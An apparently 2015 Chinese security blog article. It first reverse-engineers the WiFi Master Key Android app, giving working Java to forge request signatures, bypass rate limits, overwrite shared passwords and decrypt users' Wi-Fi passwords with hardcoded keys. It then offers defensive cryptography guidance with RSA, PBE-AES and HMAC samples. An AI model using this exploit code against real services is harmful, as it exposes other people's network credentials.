Android密碼學相關
作者：
·
2015/05/18 10:35
Android密碼學相關-案例wifi萬能鑰匙
[TOC]
起因
考慮文章可讀性未做過多馬賽克,又希望不對廠商造成過多影響,故釋出文章距離文章完成已經有些時日,如有出入歡迎指正.(關聯漏洞廠商給了低危,想來就廠商看來此風險威脅不大)
作者不擅長加解密方面,很多知識都是臨時抱佛腳,現學現賣的.
之前文章有反饋說理論太多容易引起生理不適,這篇直接先上案例看看效果.
烏雲主站此類漏洞很少,希望文章能夠拋磚引玉帶動大家挖掘此類漏洞.
有些好案例但未到解密期限,後續可能會補上(比如簽名演算法和密碼在native層/破解簽名加密演算法後編寫程式fuzz後端漏洞....).
網上盛傳wifi萬能鑰匙侵犯使用者隱私預設上傳使用者wifi密碼,導致使用者wifi處於被公開的狀態
有朋友在drops發文分析此軟體:/papers/?id=4976,其中提到
此外介面請求中有一個sign欄位是加簽，事實上是把請求引數合併在一起與預置的key做了個md5，細節就不贅述了。這兩個清楚了之後其實完全可以利用這個介面實現一個自己的Wifi鑰匙了。
對此處比較感興趣,一般摘要和加密會做到so裡來增加逆向難度,但是wifi萬能鑰匙直接是再java層做的演算法嘗試順著文章作者思路去解一下這個演算法.
關聯漏洞: WooYun: WIFI萬能鑰匙密碼查詢介面演算法破解（可無限查詢使用者AP明文密碼）
萬能鑰匙版本
官網版:
android:versionCode="620" android:versionName="3.0.98" package="com.snda.wifilocating"
googleplay版:
android:versionCode="58" android:versionName="1.0.8" package="com.halo.wifikey.wifilocating"
摘要演算法
首先抓包分析確定關鍵字後追蹤其呼叫呼叫
定位到摘要演算法:傳入的Map物件後轉成陣列排序後拼接上傳入的string進行md5最後轉成大寫.
然後再找到key,到這裡看貌似這個key是靜態的.
現在可以根據這個寫出sign的類了.
#!java
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
class Digest {
public static final String key = "[email protected]*Jq%KOL";
public static final String retSn = "d407b1220d9447afac1653c337b00abf"; //伺服器返回的retSn需要每次都換...
/**
* @param args
* chanid=guanwang
*/
public static void main(String[] args) {
HashMap v1 = new HashMap();
v1.put("och", "guanwang");
v1.put("ii", "359250051898912");
v1.put("appid", "0002");
v1.put("pid", "qryapwd:commonswitch");
v1.put("mac","f8:a9:d0:76:e4:31");
v1.put("lang","cn");
v1.put("bssid","74:44:01:7a:a4:c2,ec:6c:9f:1e:3b:f5,74:44:01:7a:a4:c0,20:4e:7f:85:92:01,cc:b2:55:e2:77:70,1c:fa:68:14:a3:d5,8c:be:be:24:be:48,c0:61:18:2c:89:12,a4:93:4c:b1:ee:31,a6:93:4c:b1:ee:31,c8:3a:35:09:c3:38,78:a1:06:3f:e0:fc,2a:2c:b2:ff:32:3b,a8:57:4e:03:5a:ba,28:2c:b2:ff:32:3b,5c:63:bf:cd:d1:68,");
v1.put("v","620");
v1.put("ssid","OpenWrt,.........,hadventure,Netcore,Serial-beijing_5G,fao706,linksys300n,willtech,serial_guest,adata,Excel2,Newsionvc,Excellence,ShiningCareer,");
v1.put("method","getSecurityCheckSwitch");
v1.put("uhid", "a0000000000000000000000000000001");
v1.put("st", "m");
v1.put("chanid", "guanwang");
v1.put("dhid", "4028b2994b722389014bcf2e2c6466ea"); //查詢頻繁被ban後可以嘗試更改此處
String sign = digest(v1,key);
System.out.println("sign=="+sign); //固定鹽算sign
System.out.println("sign2=="+digest(v1,retSn)); //變化鹽算sign
}
public static String digest(Map paramMap, String paramString)
{
new StringBuilder("---------------key of md5:").append(paramString).toString();
Object[] arrayOfObject = paramMap.keySet().toArray(); //轉為陣列
Arrays.sort(arrayOfObject); //排序
StringBuilder localStringBuilder = new StringBuilder();
int i = arrayOfObject.length;
for (int j = 0; j < i; j++)
localStringBuilder.append((String)paramMap.get(arrayOfObject[j])); //拼接
localStringBuilder.append(paramString); //加鹽
//System.out.println("string=="+localStringBuilder.toString());
return md5(localStringBuilder.toString()).toUpperCase(); //算出md5
}
public final static String md5(String s) {
char hexDigits[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
try {
byte[] btInput = s.getBytes();
// 獲得MD5摘要演算法的 MessageDigest 物件
MessageDigest mdInst = MessageDigest.getInstance("MD5");
// 使用指定的位元組更新摘要
mdInst.update(btInput);
// 獲得密文
byte[] md = mdInst.digest();
// 把密文轉換成十六進位制的字串形式
int j = md.length;
char str[] = new char[j * 2];
int k = 0;
for (int i = 0; i < j; i++) {
byte byte0 = md[i];
str[k++] = hexDigits[byte0 >>> 4 & 0xf];
str[k++] = hexDigits[byte0 & 0xf];
}
return new String(str);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
修改請求包後重新計算sign,再次發包.結果卻不是預期那樣,依然返回的是
{"retCd":"-1111","retMsg":"商戶數字簽名錯誤，請聯絡請求發起方！","retSn":"141356b44efd487ca0c333d8bec89da9"}
而且還有一個奇怪retSN,之前查詢成功也有retSn的.到這裡開始懷疑key不是那麼簡單的一直是不變的.於是我用xposed hook了其md5方法的傳入引數.
#!java
package org.wooyun.xposedhook;
import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.XC_MethodHook;
import de.robv.android.xposed.XposedBridge;
import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam;
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
public class Main implements IXposedHookLoadPackage {
@Override
public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable {
// TODO Auto-generated method stub
if (!lpparam.packageName.equals("com.snda.wifilocating")) {
// XposedBridge.log("loaded app:" + lpparam.packageName);
return;
}
findAndHookMethod("com.snda.wifilocating.f.ae", lpparam.classLoader, "a", String.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param)
throws Throwable {
// TODO Auto-generated method stub
// String result = (String) param.getResult();
XposedBridge.log("---input---:" + param.args[0]);
super.beforeHookedMethod(param);
}
@Override
protected void afterHookedMethod(MethodHookParam param)
throws Throwable {
// TODO Auto-generated method stub
XposedBridge.log("---output---:" + param.getResult());
super.afterHookedMethod(param);
}
});
}
}
透過hook發現大部分請求的sign是按照之前分析的方法計算出的,但是在查詢密碼處計算sign的key一直在變化的,這裡是一個動態的key
再返回去分析摘要演算法的呼叫情況來追蹤動態key如何產生的,交叉引用xrefs
原來計算sign的方式還請求包中pid的值有關
當pid=qryapwd:commoanswith所用的key並非之前提到的靜態金鑰,而且呼叫一個方法,追蹤此方法發現此引數是從預設的shared_prefs檔案中讀取的.如果為空才使用靜態金鑰.(分享wifi密碼和查詢wifi密碼均進入此條件)
那麼shared_prefs預設檔案中的值又是從哪裡生成的了?透過抓包可以發現這個是由伺服器返回的.每次查詢後都會更新
現在已經完全瞭解官網版本的兩種摘要演算法,可以自己構造請求來查詢wifi密碼了.
請求頻率與dhid
在之後的測試發現如果查詢過於頻繁會被伺服器給ban掉,透過fuzz發現伺服器是透過dhid這個引數來判斷是請求來源是否為同一裝置,修改dhid然後重新計算sign發包.此處的sign是透過上文digest(v1,retSn)算出的.
顯然dhid也做了合法性效驗,繼續探索dhid是如何生成的,客戶端是從私有檔案中取得dhid的,而客戶端的dhid是由應用安裝後傳送請求由伺服器返回的.
透過修改此處請求並重新計算sign就可以得到新的dhid來突破請求限制了.此處的sign是透過上文digest(v1,key)算出的.(引數欄位也要修改)
老版本遺留問題
在搜尋wifi萬能鑰匙早期版本的過程中,發現googleplay上的版本為早期1.x version的.摘要演算法和加密演算法都基本和新版本一致只不過金鑰不同.服務端透過v引數(版本號)來區分計算sign.
googleplay版的查詢wifi密碼後並未返回retSn,透過hook和逆向確定此版本wifi密碼查詢功能並未使用伺服器返回的retSn來作為摘要演算法的鹽.而是使用之前分析的固定key的方式計算sign.這就使得我們製作自己的wifi密碼查詢小工具變得簡單多了.
這就是摘要演算法/加密演算法被破解後危害的持續性,因為此類漏洞的修補不僅僅是服務端程式碼更新且需要同步客戶端同步更新,但是又無法保證每個使用者都更新客戶端,為了可用性而犧牲安全性.一般妥協的做法就是相容方式的為不同時期的客戶端提供不同的服務,當然使用者體驗還是一致的,只是現實方式略有區別.
pwd加密演算法分析
查詢密碼後伺服器返回的wifi密碼是加密過的,但是這種加密客戶端必定對應有解密演算法.你的劍就是我的劍.
#!java
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class AES {
static Cipher cipher;
static final String KEY_ALGORITHM = "AES";
/*
* chanid=guanwang 官網版解密
*/
static final String CIPHER_ALGORITHM_CBC_NoPadding = "AES/CBC/NoPadding";
static SecretKey secretKey;
public static void main(String[] args) throws Exception {
System.out.println(method4("A8A839A49A25420E3E0E67AA1B22EDCCA3825A7610258FAAEAF26C4200F68C47"));// length = n*16
}
static byte[] getIV() {
String iv = "[email protected]!3jnv"; //IV length: must be 16 bytes long
return iv.getBytes();
}
static String method4(String str) throws Exception {
cipher = Cipher.getInstance(CIPHER_ALGORITHM_CBC_NoPadding);
String key = "jh16@`~78vLsvpos";
SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES");
byte[] arrayOfByte1 = null;
cipher.init(Cipher.DECRYPT_MODE, secretKey, new IvParameterSpec(getIV()));//使用解密模式初始化 金鑰
while (true)
{
int i = str.length();
arrayOfByte1 = null;
if (i >= 2)
{
int j = str.length() / 2;
arrayOfByte1 = new byte[j];
for (int k = 0; k < j; k++)
arrayOfByte1[k] = ((byte)Integer.parseInt(str.substring(k * 2, 2 + k * 2), 16));
}
byte[] arrayOfByte2 = cipher.doFinal(arrayOfByte1);
return new String(arrayOfByte2);
}
}
}
偽造wifi密碼
如果不想改密碼還可以偽造分享ap請求來覆蓋之前的密碼,依然需要計算sign哦.
再覆蓋一次.
wifi密碼查詢小工具
綜合上述分析就可以製作出自己的wifi密碼查詢工具了.
順手也寫了一個android客戶端.
烏雲案例
本地加解密:
WooYun: 逆向分析蘇寧易購安卓客戶端加密到解密獲取明文密碼（附demo驗證）
簽名演算法脆弱:
WooYun: 逆向人人客戶端，破解校驗演算法之<暴力破解+撞庫>
WooYun: 360移動端可被破解之撞庫攻擊（輕鬆撞出幾十萬)
WooYun: PPTV(PPlive)客戶端批次刷會員漏洞
小結
由案例可知應用密碼學相關的設計一定要在專案初始設計完善,不然後患無窮而且很難修復.
sign的演算法因為必然存在客戶端裡,所有終究會被定位到,只是難易程度不同.所以在sign演算法的隱藏上下功夫整個方向是不對的.
得想出一種方案讓攻擊者知道sign的演算法也很難利用此演算法,例如:計算sign之後對資料進行非對稱加密,這時要對sign重新計算sign就無法直接從http包中獲取欄位,要解密也沒有私鑰.只有透過hook以及反編譯來獲得計算的sign的引數變得較為繁瑣,如果有必要可以對應用進行加殼使用反編譯和hook變得更加困難.
設計好方案之後的關鍵就是選擇加密演算法/金鑰儲存位置.
Android密碼學相關-加密/摘要演算法
分類
對稱加密(symmetric cryptography)/共享金鑰加密(shared-key cryptography):AES/DES/RC4/3DES...
非對稱加密(asymmetric cryptography)/公開金鑰加密(public-key cryptography):RSA/ECC/Diffie-Hellman...
基於密碼加密 password-based encryption (PBE)
摘要/雜湊/雜湊函式:md5/SHA1... (單向陷門/抗碰撞)
優缺點:
由於進行的都是大數計算，使得RSA最快的情況也比DES慢上好幾倍，無論是軟體還是硬體實現。速度一直是RSA的缺陷。一般來說只用於少量資料加密。RSA的速度比對應同樣安全級別的對稱密碼演算法要慢1000倍左右。
易混淆概念
Message Authentication:訊息認證是一個過程，用以驗證接收訊息的真實性（的確是由它所聲稱的實體發來的）和完整性（未被篡改、插入、刪除），同時還用於驗證訊息的順序性和時間性（未重排、重放、延遲).
HMAC:是金鑰相關的雜湊運算訊息認證碼（Hash-based Message Authentication Code）,HMAC運算利用雜湊演算法，以一個金鑰和一個訊息為輸入，生成一個訊息摘要作為輸出。(安全性不依賴雜湊演算法,依賴金鑰)
MAC: Message Authentication Code 訊息鑑別碼實現鑑別的原理是,用公開函式和金鑰產生一個固定長度的值作為認證標識(keyed hash function),用這個標識鑑別訊息的完整性.使用一個金鑰生成一個固定大小的小資料塊,即MAC，並將其加入到訊息中,然後傳輸.接收方利用與傳送方共享的金鑰進行鑑別認證等
digital signatures 訊息的傳送者用自己的私鑰對訊息摘要進行加密，產生一個加密後的字串，稱為數字簽名。因為傳送者的私鑰保密，可以確保別人無法偽造生成數字簽名，也是對資訊的傳送者傳送資訊真實性的一個有效證明。。數字簽名是非對稱金鑰加密技術與數字摘要技術(hash function)的應用。
Hash 簡單的說就是一種將任意長度的訊息壓縮到某一固定長度的訊息摘要的函式。
金鑰(key)/密碼(password)
一些對比:
- 數字簽名使用非對稱加密,MACs使用對稱加密
- 數字簽名可以保證"不可抵賴性",MACs通常不行
- 數字簽名可以和雜湊函式結合使用,但是雜湊函式並不總是數字簽名
- hash函式不使用金鑰不能直接用於MAC
選擇加密演算法/摘要演算法
- 密碼生成key的加密演算法 : AES的key是由使用passwd和salt的方法生成
- 公開金鑰加密演算法 : RSA
- 預設key的加密演算法 : AES使用一個預定義好的key
- 特別重要的使用者資料加解密/簽名驗證應選擇基於密碼生成key的加密演算法 (PBE)
- 本地加解密/簽名驗證使用預置key的加密演算法 (對稱加密)
- 客戶端/服務端通訊...加解密/簽名驗證使用公鑰加密演算法 (非對稱加密)
Protecting Key
當使用加密技術以確保敏感資料安全（機密性和完整性），如果金鑰(key)洩露即使是最強大的加密演算法和金鑰長度也不能保障來自第三方的攻擊.所以一個好的儲存金鑰的方式變得十分重要.
預置金鑰(key):服務端到客戶端的通訊加密/摘要/簽名
金鑰協商:由服務端返回金鑰/鹽值
演算法生成金鑰:本地資料加解密
key的儲存位置
手機快取
password-based encryption:當key由密碼加鹽生成後就會儲存在使用者手機的快取中,再未root的情況下受android沙箱機制保護其他第三方應用是無法讀取的.
應用目錄
當key以私有模式儲存在應用目錄下,在未root的情況下其他應用是無法讀取的.如果應用關閉backup功能,就無法透過abd backup備份出key.故當此種場景下為了金鑰的安全性建議禁用backup.
如果想在root條件下保護金鑰,就必須對金鑰進行加密或者混淆.
APK檔案
因為apk中的檔案是公開的,所以一般來講此處不建議儲存敏感資料比如key.如果再apk檔案中儲存了金鑰就必須對其進行混淆並且確保其不能被輕易讀取到.
公共儲存區域(如Sdcard)
因為公共儲存區域是全域性可讀的,也是不建議儲存敏感資料的地方.若key儲存在此區域必須進行加密和混淆.
程式碼中(dex or so)
硬編碼再程式碼中的key,上文中的提到的wifi萬能鑰匙的key就是.可以被逆向發現,不建議儲存此處.若key儲存在此區域必須進行加密和混淆以及對應用加固增加逆向難度.
建議
1.當指定的加密演算法時顯式指定加密模式和填充方式
algorithm/mode/padding
2.使用健壯的演算法
3.當使用基於密碼的加密演算法時不能將密碼儲存在裝置中
4.使用密碼生成key時記得加鹽
SecretKey secretKey = generateKey(password, mSalt);
5.當使用密碼生成key時指定雜湊迭代次數
private static final int KEY_GEN_ITERATION_COUNT = 1024;
.....
keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT, KEY_LENGTH_BITS);
6.強制增加密碼強度
加密使用native方法,so也不一定安全
1.hook&注入
/tips/?id=2986
文章中使用 smali 注入廣播接收器後動態修改加密前的字串的方法非常有效,使用 xposed 實現過程要更為簡潔
#!java
public class Main3 implements IXposedHookLoadPackage {
private static String tag = "ReceiverControlXposed";
@Override
public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable {
if(!lpparam.packageName.equals("org.wooyun.mybroadcast"))
return;
else
Log.i(tag,lpparam.packageName);
findAndHookMethod("android.app.Application", lpparam.classLoader, "onCreate", new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
Context context = (Context) param.thisObject;
IntentFilter filter = new IntentFilter(myCast.myAction);
filter.addAction(myCast.myCmd);
context.registerReceiver(new myCast(), filter);
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
}
});
// TODO Auto-generated method stub
findAndHookMethod("org.wooyun.mybroadcast.StringActivity", lpparam.classLoader, "decode" , String.class , new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param)
throws Throwable {
Log.i(tag,"before param : " + param.args[0]);
param.args[0] = myCast.alter((String) param.args[0]);
Log.i(tag,"after param : " + param.args[0]);
}
@Override
protected void afterHookedMethod(MethodHookParam param)
throws Throwable {
}
});
}
}
2.無防護的 so,ida分析/還原/呼叫
暫缺可公開案例
偽隨機數生成器(PRNG)
/papers/?id=5164
非對稱加密:RSA加解密的example
#!java
package org.wooyun.digest;
import java.security.InvalidKeyException;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
public final class RsaCryptoAsymmetricKey {
// *** POINT 1 *** 明確指定加密模式和填充
// *** POINT 2 *** 使用健壯的加密方法 (specifically, technologies that meet the relevant criteria), in cluding algorithms, block cipher modes, and padding modes..
// Parameters passed to getInstance method of the Cipher class: Encryption algorithm, block encryption mode, padding rule
// In this sample, we choose the following parameter values: encryption algorithm=RSA, block encryption mode=NONE , padding rule=OAEPPADDING.
private static final String TRANSFORMATION = "RSA/NONE/OAEPPADDING";
// 指定加密演算法
private static final String KEY_ALGORITHM = "RSA";
// *** POINT 3 *** 使用足夠長度的key以保證加密強度.
//檢測key的長度
private static final int MIN_KEY_LENGTH = 2000;
RsaCryptoAsymmetricKey() {
}
public final byte[] encrypt(final byte[] plain, final byte[] keyData) {
byte[] encrypted = null;
try {
// *** POINT 1 *** Explicitly specify the encryption mode and the padding.
// *** POINT 2 *** Use strong encryption methods (specifically, technologies that meet the relevant criteria), including algorithms, block cipher modes, and padding modes..
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
PublicKey publicKey = generatePubKey(keyData);
if (publicKey != null) {
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
encrypted = cipher.doFinal(plain);
}
} catch (NoSuchPaddingException e) {
} catch (InvalidKeyException e) {
} catch (IllegalBlockSizeException e) {
} catch (BadPaddingException e) {
} catch (NoSuchAlgorithmException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} finally {
}
return encrypted;
}
public final byte[] decrypt(final byte[] encrypted, final byte[] keyData) {
// In general, decryption procedures should be implemented on the server side;
//通常說解密過程應該在服務端實現.
//however, in this sample code we have implemented decryption processing within the application to ensure confirmation of proper execution.
//但是此例項程式碼同時實現瞭解密好讓整個加解密正常執行
// When using this sample code in real-world applications, be careful not to retain any private keys within the application.
//如果真要用此程式碼小心不要將私鑰儲存在客戶端中喲.
byte[] plain = null;
try {
// *** POINT 1 *** Explicitly specify the encryption mode and the padding.
// *** POINT 2 *** Use strong encryption methods (specifically, technologies that meet the relevant criteria), including algorithms, block cipher modes, and padding modes..
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
PrivateKey privateKey = generatePriKey(keyData);
cipher.init(Cipher.DECRYPT_MODE, privateKey);
plain = cipher.doFinal(encrypted);
} catch (NoSuchAlgorithmException e) {
} catch (NoSuchPaddingException e) {
} catch (InvalidKeyException e) {
} catch (IllegalBlockSizeException e) {
} catch (BadPaddingException e) {
} finally {
}
return plain;
}
private static final PublicKey generatePubKey(final byte[] keyData) {
PublicKey publicKey = null;
KeyFactory keyFactory = null;
try {
keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);
publicKey = keyFactory.generatePublic(new X509EncodedKeySpec(
keyData));
} catch (IllegalArgumentException e) {
} catch (NoSuchAlgorithmException e) {
} catch (InvalidKeySpecException e) {
} finally {
}
// *** POINT 3 *** .使用足夠長度的key以保證加密強度.
// 檢測key長度
if (publicKey instanceof RSAPublicKey) {
int len = ((RSAPublicKey) publicKey).getModulus().bitLength();
if (len < MIN_KEY_LENGTH) {
publicKey = null;
}
}
return publicKey;
}
private static final PrivateKey generatePriKey(final byte[] keyData) {
PrivateKey privateKey = null;
KeyFactory keyFactory = null;
try {
keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);
privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(
keyData));
} catch (IllegalArgumentException e) {
} catch (NoSuchAlgorithmException e) {
} catch (InvalidKeySpecException e) {
} finally {
}
return privateKey;
}
}
對稱加密:AES(PBEKey)加解密的example
#!java
package org.wooyun.crypto;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.util.Arrays;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
public final class AesCryptoPBEKey {
// *** POINT 1 *** 明確指定加密模式和填充
// *** POINT 2 *** 使用健壯的加密方法,包括演算法/塊加密模式/填充模式
//建立Cipher例項傳入的引數,演算法AES,塊加密CBC,填充PKCS7Padding.
private static final String TRANSFORMATION = "AES/CBC/PKCS7Padding";
//生成key時建立SecretKeyFactory例項傳入的引數
private static final String KEY_GENERATOR_MODE = "PBEWITHSHAAND128BITAES-CBC-BC";
// *** POINT 3 *** 用password生成key的時候記得加鹽
// Salt長度,單位 bytes
public static final int SALT_LENGTH_BYTES = 20;
// *** POINT 4 *** 用password生成key的時候, 指定合適的hash迭代次數
// 透過PBE生成key時設定hash迭代次數
private static final int KEY_GEN_ITERATION_COUNT = 1024;
// *** POINT 5 *** 使用足夠長度的key以保證加密強度.
// Key 長度,單位bits
private static final int KEY_LENGTH_BITS = 128;
private byte[] mIV = null;
private byte[] mSalt = null;
public byte[] getIV() {
return mIV;
}
public byte[] getSalt() {
return mSalt;
}
AesCryptoPBEKey(final byte[] iv, final byte[] salt) {
mIV = iv;
mSalt = salt;
}
AesCryptoPBEKey() {
mIV = null;
initSalt();
}
private void initSalt() {
mSalt = new byte[SALT_LENGTH_BYTES];
SecureRandom sr = new SecureRandom();
sr.nextBytes(mSalt);
}
public final byte[] encrypt(final byte[] plain, final char[] password) {
byte[] encrypted = null;
try {
// *** POINT 1 *** 明確指定加密模式和填充
// *** POINT 2 *** 使用健壯的加密方法,包括演算法/塊加密模式/填充模式
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
// *** POINT 3 *** 用password生成key的時候記得加鹽
SecretKey secretKey = generateKey(password, mSalt);
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
mIV = cipher.getIV();
encrypted = cipher.doFinal(plain);
} catch (NoSuchAlgorithmException e) {
} catch (NoSuchPaddingException e) {
} catch (InvalidKeyException e) {
} catch (IllegalBlockSizeException e) {
} catch (BadPaddingException e) {
} finally {
}
return encrypted;
}
public final byte[] decrypt(final byte[] encrypted, final char[] password) {
byte[] plain = null;
try {
// *** POINT 1 *** 明確指定加密模式和填充
// *** POINT 2 *** 使用健壯的加密方法,包括演算法/塊加密模式/填充模式
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
// *** POINT 3 *** 用password生成key的時候記得加鹽
SecretKey secretKey = generateKey(password, mSalt);
IvParameterSpec ivParameterSpec = new IvParameterSpec(mIV);
cipher.init(Cipher.DECRYPT_MODE, secretKey, ivParameterSpec);
plain = cipher.doFinal(encrypted);
} catch (NoSuchAlgorithmException e) {
} catch (NoSuchPaddingException e) {
} catch (InvalidKeyException e) {
} catch (InvalidAlgorithmParameterException e) {
} catch (IllegalBlockSizeException e) {
} catch (BadPaddingException e) {
} finally {
}
return plain;
}
private static final SecretKey generateKey(final char[] password,
final byte[] salt) {
SecretKey secretKey = null;
PBEKeySpec keySpec = null;
try {
// *** POINT 2 *** 使用健壯的加密方法,包括演算法/塊加密模式/填充模式
// 建立一個例項生成key
//In this example, we use a KeyFactory that uses SHA1 to generate AES-CBC 128-bit keys.
SecretKeyFactory secretKeyFactory = SecretKeyFactory
.getInstance(KEY_GENERATOR_MODE);
// *** POINT 3 *** 用password生成key的時候記得加鹽
// *** POINT 4 *** 用password生成key的時候, 指定合適的hash迭代次數
// *** POINT 5 ***使用足夠長度的key以保證加密強度.
keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT,
KEY_LENGTH_BITS);
// 清除password
Arrays.fill(password, '?');
//生成 key
secretKey = secretKeyFactory.generateSecret(keySpec);
} catch (NoSuchAlgorithmException e) {
} catch (InvalidKeySpecException e) {
} finally {
keySpec.clearPassword();
}
return secretKey;
}
}
簽名:AES(PBEKey) HMAC example
#!java
package org.wooyun.crypto;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.util.Arrays;
import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
// PBE:password based encryption
public final class HmacPBEKey {
// *** POINT 1 *** 明確指定加密模式和填充
// *** POINT 2 *** 使用健壯的加密方法,包括演算法/塊加密模式/填充模式
//建立Mac類例項傳參:PBEWITHHMACSHA1
private static final String TRANSFORMATION = "PBEWITHHMACSHA1";
//生成key時建立SecretKeyFactory例項傳入的引數
private static final String KEY_GENERATOR_MODE = "PBEWITHHMACSHA1";
// *** POINT 3 *** 用password生成key的時候記得加鹽
// Salt長度,單位 bytes
public static final int SALT_LENGTH_BYTES = 20;
// *** POINT 4 *** 用password生成key的時候, 指定合適的hash迭代次數
// 透過PBE生成key時設定hash迭代次數
private static final int KEY_GEN_ITERATION_COUNT = 1024;
// *** POINT 5 *** 使用足夠長度的key以保證MAC強度.
// strength.
// Key長度,單位bits
private static final int KEY_LENGTH_BITS = 160;
private byte[] mSalt = null;
public byte[] getSalt() {
return mSalt;
}
HmacPBEKey() {
initSalt();
}
private void initSalt() {
// TODO Auto-generated method stub
mSalt = new byte[SALT_LENGTH_BYTES];
SecureRandom sr = new SecureRandom();
sr.nextBytes(mSalt);
}
HmacPBEKey(final byte[] salt) {
mSalt = salt;
}
public final byte[] sign(final byte[] plain, final char[] password) {
return calculate(plain, password);
}
private final byte[] calculate(final byte[] plain, final char[] password) {
byte[] hmac = null;
try {
// *** POINT 1 *** 明確指定加密模式和填充
// *** POINT 2 *** 使用健壯的加密方法,包括演算法/塊加密模式/填充模式
Mac mac = Mac.getInstance(TRANSFORMATION);
// *** POINT 3 *** 用password生成key的時候記得加鹽
SecretKey secretKey = generateKey(password, mSalt);
mac.init(secretKey);
hmac = mac.doFinal(plain);
} catch (NoSuchAlgorithmException e) {
} catch (InvalidKeyException e) {
} finally {
}
return hmac;
}
public final boolean verify(final byte[] hmac, final byte[] plain,
final char[] password) {
byte[] hmacForPlain = calculate(plain, password);
if (Arrays.equals(hmac, hmacForPlain)) {
return true;
}
return false;
}
private static final SecretKey generateKey(final char[] password,
final byte[] salt) {
SecretKey secretKey = null;
PBEKeySpec keySpec = null;
try {
// *** POINT 2 *** 使用健壯的加密方法,包括演算法/塊加密模式/填充模式
//建立類例項生成key
// In this example, we use a KeyFactory that uses SHA1 to generate AES-CBC 128-bit keys.(PBEWITHHMACSHA1)
SecretKeyFactory secretKeyFactory = SecretKeyFactory
.getInstance(KEY_GENERATOR_MODE);
// *** POINT 3 *** 用password生成key的時候記得加鹽
// *** POINT 4 *** 用password生成key的時候, 指定合適的hash迭代次數
// *** POINT 5 *** 使用足夠長度的key以保證MAC強度.
keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT,
KEY_LENGTH_BITS);
// 清空 password
Arrays.fill(password, '?');
// 生成 key
secretKey = secretKeyFactory.generateSecret(keySpec);
} catch (NoSuchAlgorithmException e) {
} catch (InvalidKeySpecException e) {
} finally {
keySpec.clearPassword();
}
return secretKey;
}
}
相容性問題
android就是那麼讓人操心,應用的易用性肯定要放在安全性前面.服務端的環境可以控制,但是客戶端的環境就沒有辦法了.無法保證每個使用者都環境都是一樣的.
java.security.NoSuchAlgorithmException....
所以必須得選擇一個絕大多數裝置都能相容的演算法.下面是 android2.3.4支援的演算法.
下面的程式碼可以檢視當前 provider 支援的演算法.
#!
Provider[] providers = Security.getProviders();
for (Provider provider : providers) {
Log.i("CRYPTO","provider: "+provider.getName());
Set<Provider.Service> services = provider.getServices();
for (Provider.Service service : services) {
Log.i("CRYPTO"," algorithm: "+service.getAlgorithm());
}
}
android 2.3.4
provider: AndroidOpenSSL
algorithm: SHA-384
algorithm: SHA-1
algorithm: SSLv3
algorithm: MD5
algorithm: SSL
algorithm: SHA-256
algorithm: TLS
algorithm: SHA-512
algorithm: TLSv1
algorithm: Default
provider: DRLCertFactory
algorithm: X509
provider: BC
algorithm: PKCS12
algorithm: DESEDE
algorithm: DH
algorithm: RC4
algorithm: PBEWITHSHAAND128BITAES-CBC-BC
algorithm: DESEDE
algorithm: Collection
algorithm: SHA-1
algorithm: PBEWITHSHA256AND256BITAES-CBC-BC
algorithm: PBEWITHSHAAND192BITAES-CBC-BC
algorithm: DESEDEWRAP
algorithm: PBEWITHMD5AND128BITAES-CBC-OPENSSL
algorithm: PBEWITHMD5AND256BITAES-CBC-OPENSSL
algorithm: AES
algorithm: HMACSHA256
algorithm: OAEP
algorithm: HMACSHA256
algorithm: HMACSHA384
algorithm: DSA
algorithm: PBEWITHMD5AND192BITAES-CBC-OPENSSL
algorithm: DES
algorithm: PBEWITHMD5ANDDES
algorithm: SHA1withDSA
algorithm: PBEWITHMD5ANDDES
algorithm: BouncyCastle
